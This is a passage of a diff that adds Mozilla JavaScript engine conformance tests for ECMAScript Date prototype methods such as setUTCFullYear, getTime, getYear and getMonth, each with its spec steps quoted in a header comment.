+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )");
+
+// Dates around 2005
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2005);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,2005)),
+ LocalDateFromTime(SetUTCFullYear(0,2005)) );
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2004);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,2004)),
+ LocalDateFromTime(SetUTCFullYear(0,2004)) );
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2006);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,2006)),
+ LocalDateFromTime(SetUTCFullYear(0,2006)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+
+// fixed_year = ( ExpectDate.year >=1900 || ExpectDate.year < 2000 ) ? ExpectDate.year - 1900 : ExpectDate.year;
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCFullYear( t, year, mon, date ) {
+ var T = ( t != t ) ? 0 : t;
+ var YEAR = Number(year);
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+
+ return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.37-5.js b/js/src/tests/ecma/Date/15.9.5.37-5.js
new file mode 100644
index 000000000..c7889f246
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.37-5.js
@@ -0,0 +1,125 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.37-1.js
+ ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getUTCMonth( ). If date is not specified, this behaves as if date
+ were specified with the value getUTCDate( ).
+
+ 1. Let t be this time value; but if this time value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute MakeDate(Result(5), TimeWithinDay(t)).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added some Year 2000 test cases.
+*/
+var SECTION = "15.9.5.37-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )");
+
+// Dates around 1900
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1900);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1900)),
+ LocalDateFromTime(SetUTCFullYear(0,1900)) );
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1899);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1899)),
+ LocalDateFromTime(SetUTCFullYear(0,1899)) );
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1901);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1901)),
+ LocalDateFromTime(SetUTCFullYear(0,1901)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCFullYear( t, year, mon, date ) {
+ var T = ( t != t ) ? 0 : t;
+ var YEAR = Number(year);
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+
+ return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.4-1.js b/js/src/tests/ecma/Date/15.9.5.4-1.js
new file mode 100644
index 000000000..9ed4be4cb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.4-1.js
@@ -0,0 +1,59 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.4-1.js
+ ECMA Section: 15.9.5.4-1 Date.prototype.getTime
+ Description:
+
+ 1. If the this value is not an object whose [[Class]] property is "Date",
+ generate a runtime error.
+ 2. Return this time value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "15.9.5.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTime";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+").getTime()",
+ t,
+ (new Date(t)).getTime() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+1)+").getTime()",
+ t+1,
+ (new Date(t+1)).getTime() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-1)+").getTime()",
+ t-1,
+ (new Date(t-1)).getTime() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-TZ_ADJUST)+").getTime()",
+ t-TZ_ADJUST,
+ (new Date(t-TZ_ADJUST)).getTime() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+TZ_ADJUST)+").getTime()",
+ t+TZ_ADJUST,
+ (new Date(t+TZ_ADJUST)).getTime() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.4-2-n.js b/js/src/tests/ecma/Date/15.9.5.4-2-n.js
new file mode 100644
index 000000000..4f08cd7b6
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.4-2-n.js
@@ -0,0 +1,42 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.4-2-n.js
+ ECMA Section: 15.9.5.4-1 Date.prototype.getTime
+ Description:
+
+ 1. If the this value is not an object whose [[Class]] property is "Date",
+ generate a runtime error.
+ 2. Return this time value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.9.5.4-2-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTime";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MYDATE = new MyDate( TIME_2000 );
+
+DESCRIPTION = "MYDATE.getTime()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "MYDATE.getTime()",
+ "error",
+ eval("MYDATE.getTime()") );
+
+test();
+
+function MyDate( value ) {
+ this.value = value;
+ this.getTime = Date.prototype.getTime;
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.5.js b/js/src/tests/ecma/Date/15.9.5.5.js
new file mode 100644
index 000000000..0bf476f03
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.5.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.5.js
+ ECMA Section: 15.9.5.5
+ Description: Date.prototype.getYear
+
+ This function is specified here for backwards compatibility only. The
+ function getFullYear is much to be preferred for nearly all purposes,
+ because it avoids the "year 2000 problem."
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return YearFromTime(LocalTime(t)) 1900.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getYear()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getYear()",
+ NaN,
+ (new Date(NaN)).getYear() );
+
+new TestCase( SECTION,
+ "Date.prototype.getYear.length",
+ 0,
+ Date.prototype.getYear.length );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getYear()",
+ GetYear(YearFromTime(LocalTime(t))),
+ (new Date(t)).getYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+1)+")).getYear()",
+ GetYear(YearFromTime(LocalTime(t+1))),
+ (new Date(t+1)).getYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-1)+")).getYear()",
+ GetYear(YearFromTime(LocalTime(t-1))),
+ (new Date(t-1)).getYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-TZ_ADJUST)+")).getYear()",
+ GetYear(YearFromTime(LocalTime(t-TZ_ADJUST))),
+ (new Date(t-TZ_ADJUST)).getYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+TZ_ADJUST)+")).getYear()",
+ GetYear(YearFromTime(LocalTime(t+TZ_ADJUST))),
+ (new Date(t+TZ_ADJUST)).getYear() );
+}
+function GetYear( year ) {
+ return year - 1900;
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.6.js b/js/src/tests/ecma/Date/15.9.5.6.js
new file mode 100644
index 000000000..9c53381cb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.6.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.6.js
+ ECMA Section: 15.9.5.6
+ Description: Date.prototype.getFullYear
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return YearFromTime(LocalTime(t)).
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getFullYear()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getFullYear()",
+ NaN,
+ (new Date(NaN)).getFullYear() );
+
+new TestCase( SECTION,
+ "Date.prototype.getFullYear.length",
+ 0,
+ Date.prototype.getFullYear.length );
+
+test();
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getFullYear()",
+ YearFromTime(LocalTime(t)),
+ (new Date(t)).getFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+1)+")).getFullYear()",
+ YearFromTime(LocalTime(t+1)),
+ (new Date(t+1)).getFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-1)+")).getFullYear()",
+ YearFromTime(LocalTime(t-1)),
+ (new Date(t-1)).getFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-TZ_ADJUST)+")).getFullYear()",
+ YearFromTime(LocalTime(t-TZ_ADJUST)),
+ (new Date(t-TZ_ADJUST)).getFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+TZ_ADJUST)+")).getFullYear()",
+ YearFromTime(LocalTime(t+TZ_ADJUST)),
+ (new Date(t+TZ_ADJUST)).getFullYear() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.7.js b/js/src/tests/ecma/Date/15.9.5.7.js
new file mode 100644
index 000000000..f1a8d6cba
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.7.js
@@ -0,0 +1,71 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.7.js
+ ECMA Section: 15.9.5.7
+ Description: Date.prototype.getUTCFullYear
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return YearFromTime(t).
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.7";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCFullYear()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getUTCFullYear()",
+ NaN,
+ (new Date(NaN)).getUTCFullYear() );
+
+new TestCase( SECTION,
+ "Date.prototype.getUTCFullYear.length",
+ 0,
+ Date.prototype.getUTCFullYear.length );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCFullYear()",
+ YearFromTime(t),
+ (new Date(t)).getUTCFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+1)+")).getUTCFullYear()",
+ YearFromTime(t+1),
+ (new Date(t+1)).getUTCFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-1)+")).getUTCFullYear()",
+ YearFromTime(t-1),
+ (new Date(t-1)).getUTCFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-TZ_ADJUST)+")).getUTCFullYear()",
+ YearFromTime(t-TZ_ADJUST),
+ (new Date(t-TZ_ADJUST)).getUTCFullYear() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+TZ_ADJUST)+")).getUTCFullYear()",
+ YearFromTime(t+TZ_ADJUST),
+ (new Date(t+TZ_ADJUST)).getUTCFullYear() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.8.js b/js/src/tests/ecma/Date/15.9.5.8.js
new file mode 100644
index 000000000..620272578
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.8.js
@@ -0,0 +1,80 @@
+// |reftest| random-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.8.js
+ ECMA Section: 15.9.5.8
+ Description: Date.prototype.getMonth
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return MonthFromTime(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.8";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getMonth()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getMonth()",
+ NaN,
+ (new Date(NaN)).getMonth() );
+
+new TestCase( SECTION,
+ "Date.prototype.getMonth.length",
+ 0,
+ Date.prototype.getMonth.length );
+test();
+
+function addTestCase( t ) {
+ var leap = InLeapYear(t);
+
+ for ( var m = 0; m < 12; m++ ) {
+
+ t += TimeInMonth(m, leap);
+
+ new TestCase( SECTION,
+ "(new Date("+t+")).getMonth()",
+ MonthFromTime(LocalTime(t)),
+ (new Date(t)).getMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+1)+")).getMonth()",
+ MonthFromTime(LocalTime(t+1)),
+ (new Date(t+1)).getMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-1)+")).getMonth()",
+ MonthFromTime(LocalTime(t-1)),
+ (new Date(t-1)).getMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-TZ_ADJUST)+")).getMonth()",
+ MonthFromTime(LocalTime(t-TZ_ADJUST)),
+ (new Date(t-TZ_ADJUST)).getMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+TZ_ADJUST)+")).getMonth()",
+ MonthFromTime(LocalTime(t+TZ_ADJUST)),
+ (new Date(t+TZ_ADJUST)).getMonth() );
+
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.9.js b/js/src/tests/ecma/Date/15.9.5.9.js
new file mode 100644
index 000000000..32adbbfed
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.9.js
@@ -0,0 +1,80 @@
+// |reftest| skip-if(Android) -- bug 686143, skip temporarily to see what happens to the frequency and location of Android timeouts
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.9.js
+ ECMA Section: 15.9.5.9
+ Description: Date.prototype.getUTCMonth
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return MonthFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.9";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMonth()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getUTCMonth()",
+ NaN,
+ (new Date(NaN)).getUTCMonth() );
+
+new TestCase( SECTION,
+ "Date.prototype.getUTCMonth.length",
+ 0,
+ Date.prototype.getUTCMonth.length );
+test();
+
+function addTestCase( t ) {
+ var leap = InLeapYear(t);
+
+ for ( var m = 0; m < 12; m++ ) {
+
+ t += TimeInMonth(m, leap);
+
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMonth()",
+ MonthFromTime(t),
+ (new Date(t)).getUTCMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+1)+")).getUTCMonth()",
+ MonthFromTime(t+1),
+ (new Date(t+1)).getUTCMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-1)+")).getUTCMonth()",
+ MonthFromTime(t-1),
+ (new Date(t-1)).getUTCMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t-TZ_ADJUST)+")).getUTCMonth()",
+ MonthFromTime(t-TZ_ADJUST),
+ (new Date(t-TZ_ADJUST)).getUTCMonth() );
+
+ new TestCase( SECTION,
+ "(new Date("+(t+TZ_ADJUST)+")).getUTCMonth()",
+ MonthFromTime(t+TZ_ADJUST),
+ (new Date(t+TZ_ADJUST)).getUTCMonth() );
+
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.js b/js/src/tests/ecma/Date/15.9.5.js
new file mode 100644
index 000000000..e53ed2d5c
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.js
+ ECMA Section: 15.9.5 Properties of the Date prototype object
+ Description:
+
+ The Date prototype object is itself a Date object (its [[Class]] is
+ "Date") whose value is NaN.
+
+ The value of the internal [[Prototype]] property of the Date prototype
+ object is the Object prototype object (15.2.3.1).
+
+ In following descriptions of functions that are properties of the Date
+ prototype object, the phrase "this Date object" refers to the object that
+ is the this value for the invocation of the function; it is an error if
+ this does not refer to an object for which the value of the internal
+ [[Class]] property is "Date". Also, the phrase "this time value" refers
+ to the number value for the time represented by this Date object, that is,
+ the value of the internal [[Value]] property of this Date object.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the Date Prototype Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+Date.prototype.getClass = Object.prototype.toString;
+
+new TestCase( SECTION,
+ "Date.prototype.getClass",
+ "[object Object]",
+ Date.prototype.getClass() );
+new TestCase( SECTION,
+ "Date.prototype.valueOf()",
+ "TypeError",
+ (function() { try { Date.prototype.valueOf() } catch (e) { return e.constructor.name; } })());
+new TestCase( SECTION,
+ "Date.prototype.__proto__ == Object.prototype",
+ true,
+ Date.prototype.__proto__ == Object.prototype );
+test();
diff --git a/js/src/tests/ecma/Date/browser.js b/js/src/tests/ecma/Date/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Date/browser.js
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-1-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-1-of-8.js
new file mode 100644
index 000000000..95a88e9a9
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-1-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(1, 8);
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-2-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-2-of-8.js
new file mode 100644
index 000000000..0810f9117
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-2-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(2, 8);
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-3-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-3-of-8.js
new file mode 100644
index 000000000..a70559afa
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-3-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(3, 8);
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-4-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-4-of-8.js
new file mode 100644
index 000000000..3bda28d61
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-4-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(4, 8);
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-5-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-5-of-8.js
new file mode 100644
